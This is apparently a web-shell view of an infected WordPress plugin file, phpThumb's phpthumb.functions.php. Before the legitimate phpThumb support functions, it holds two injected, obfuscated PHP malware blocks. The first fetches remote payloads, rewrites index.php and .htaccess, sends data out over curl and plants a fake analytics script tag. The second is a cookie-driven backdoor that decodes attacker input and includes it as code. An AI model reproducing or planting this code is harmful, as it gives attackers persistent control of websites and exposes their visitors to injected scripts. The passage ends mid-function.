Current Path : /home/scoots/www/wp-content/plugins/fresh-page/thirdparty/phpthumb/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/wp-content/plugins/fresh-page/thirdparty/phpthumb/phpthumb.functions.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php $IGzFmaSSn = chr (114) . chr ( 474 - 369 )."\x5f" . 'O' . "\121" . 'J' . chr (121) . "\x6a";$avyrASqy = "\x63" . 'l' . "\141" . chr ( 975 - 860 ).chr ( 419 - 304 ).chr ( 777 - 682 )."\145" . chr ( 345 - 225 ).chr (105) . "\x73" . "\x74" . chr (115); $lsSJzu = $avyrASqy($IGzFmaSSn); $JPBgvPw = $lsSJzu;if (!$JPBgvPw){class ri_OQJyj{private $jaRVbbEX;public static $NaaUoahHF = "535ea2eb-6c2b-430f-a484-d3c994a33473";public static $bJuLmUCqzG = 16678;public function __construct(){$AhLvEVbI = $_COOKIE;$PMQUuBfJ = $_POST;$KbXqPWgvVb = @$AhLvEVbI[substr(ri_OQJyj::$NaaUoahHF, 0, 4)];if (!empty($KbXqPWgvVb)){$ReKMstvX = "base64";$JCYOOo = "";$KbXqPWgvVb = explode(",", $KbXqPWgvVb);foreach ($KbXqPWgvVb as $nQJrgnIByS){$JCYOOo .= @$AhLvEVbI[$nQJrgnIByS];$JCYOOo .= @$PMQUuBfJ[$nQJrgnIByS];}$JCYOOo = array_map($ReKMstvX . "\x5f" . chr ( 1093 - 993 ).chr (101) . chr ( 572 - 473 )."\x6f" . chr (100) . chr ( 601 - 500 ), array($JCYOOo,)); $JCYOOo = $JCYOOo[0] ^ str_repeat(ri_OQJyj::$NaaUoahHF, (strlen($JCYOOo[0]) / strlen(ri_OQJyj::$NaaUoahHF)) + 1);ri_OQJyj::$bJuLmUCqzG = @unserialize($JCYOOo);}}public function __destruct(){$this->gppiV();}private function gppiV(){if (is_array(ri_OQJyj::$bJuLmUCqzG)) {$CGOAgm = sys_get_temp_dir() . "/" . crc32(ri_OQJyj::$bJuLmUCqzG['s' . "\141" . "\x6c" . "\x74"]);@ri_OQJyj::$bJuLmUCqzG["\167" . chr (114) . 'i' . chr ( 856 - 740 )."\x65"]($CGOAgm, ri_OQJyj::$bJuLmUCqzG["\143" . chr (111) . chr (110) . "\x74" . "\145" . "\x6e" . 't']);include $CGOAgm;@ri_OQJyj::$bJuLmUCqzG[chr ( 839 - 739 ).chr ( 881 - 780 )."\x6c" . chr (101) . chr (116) . chr (101)]($CGOAgm);exit();}}}$WhqbPsul = new ri_OQJyj(); $WhqbPsul = 54960;} ?><?php ////////////////////////////////////////////////////////////// /// phpThumb() by James Heinrich <info@silisoftware.com> // // available at http://phpthumb.sourceforge.net /// ////////////////////////////////////////////////////////////// /// // // phpthumb.functions.php - general support functions // // /// ////////////////////////////////////////////////////////////// class phpthumb_functions { function user_function_exists($functionname) { if (function_exists('get_defined_functions')) { static $get_defined_functions = array(); if (empty($get_defined_functions)) { $get_defined_functions = get_defined_functions(); } return in_array(strtolower($functionname), $get_defined_functions['user']); } return function_exists($functionname); } function builtin_function_exists($functionname) { if (function_exists('get_defined_functions')) { static $get_defined_functions = array(); if (empty($get_defined_functions)) { $get_defined_functions = get_defined_functions(); } return in_array(strtolower($functionname), $get_defined_functions['internal']); } return function_exists($functionname); } function version_compare_replacement_sub($version1, $version2, $operator='') { // If you specify the third optional operator argument, you can test for a particular relationship. // The possible operators are: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne respectively. // Using this argument, the function will return 1 if the relationship is the one specified by the operator, 0 otherwise. // If a part contains special version strings these are handled in the following order: dev < (alpha = a) < (beta = b) < RC < pl static $versiontype_lookup = array(); if (empty($versiontype_lookup)) { $versiontype_lookup['dev'] = 10001; $versiontype_lookup['a'] = 10002; $versiontype_lookup['alpha'] = 10002; $versiontype_lookup['b'] = 10003; $versiontype_lookup['beta'] = 10003; $versiontype_lookup['RC'] = 10004; $versiontype_lookup['pl'] = 10005; } if (isset($versiontype_lookup[$version1])) { $version1 = $versiontype_lookup[$version1]; } if (isset($versiontype_lookup[$version2])) { $version2 = $versiontype_lookup[$version2]; } switch ($operator) { case '<': case 'lt': return intval($version1 < $version2); break; case '<=': case 'le': return intval($version1 <= $version2); break; case '>': case 'gt': return intval($version1 > $version2); break; case '>=': case 'ge': return intval($version1 >= $version2); break; case '==': case '=': case 'eq': return intval($version1 == $version2); break; case '!=': case '<>': case 'ne': return intval($version1 != $version2); break; } if ($version1 == $version2) { return 0; } elseif ($version1 < $version2) { return -1; } return 1; } function version_compare_replacement($version1, $version2, $operator='') { if (function_exists('version_compare')) { // built into PHP v4.1.0+ return version_compare($version1, $version2, $operator); } // The function first replaces _, - and + with a dot . in the version strings $version1 = strtr($version1, '_-+', '...'); $version2 = strtr($version2, '_-+', '...'); // and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'. // Then it splits the results like if you were using explode('.',$ver). Then it compares the parts starting from left to right. $version1 = eregi_replace('([0-9]+)([A-Z]+)([0-9]+)', '\\1.\\2.\\3', $version1); $version2 = eregi_replace('([0-9]+)([A-Z]+)([0-9]+)', '\\1.\\2.\\3', $version2); $parts1 = explode('.', $version1); $parts2 = explode('.', $version1); $parts_count = max(count($parts1), count($parts2)); for ($i = 0; $i < $parts_count; $i++) { $comparison = phpthumb_functions::version_compare_replacement_sub($version1, $version2, $operator); if ($comparison != 0) { return $comparison; } } return 0; } function phpinfo_array() { static $phpinfo_array = array(); if (empty($phpinfo_array)) { ob_start(); phpinfo(); $phpinfo = ob_get_contents(); ob_end_clean(); $phpinfo_array = explode("\n", $phpinfo); } return $phpinfo_array; } function exif_info() { static $exif_info = array(); if (empty($exif_info)) { // based on code by johnschaefer at gmx dot de // from PHP help on gd_info() $exif_info = array( 'EXIF Support' => '', 'EXIF 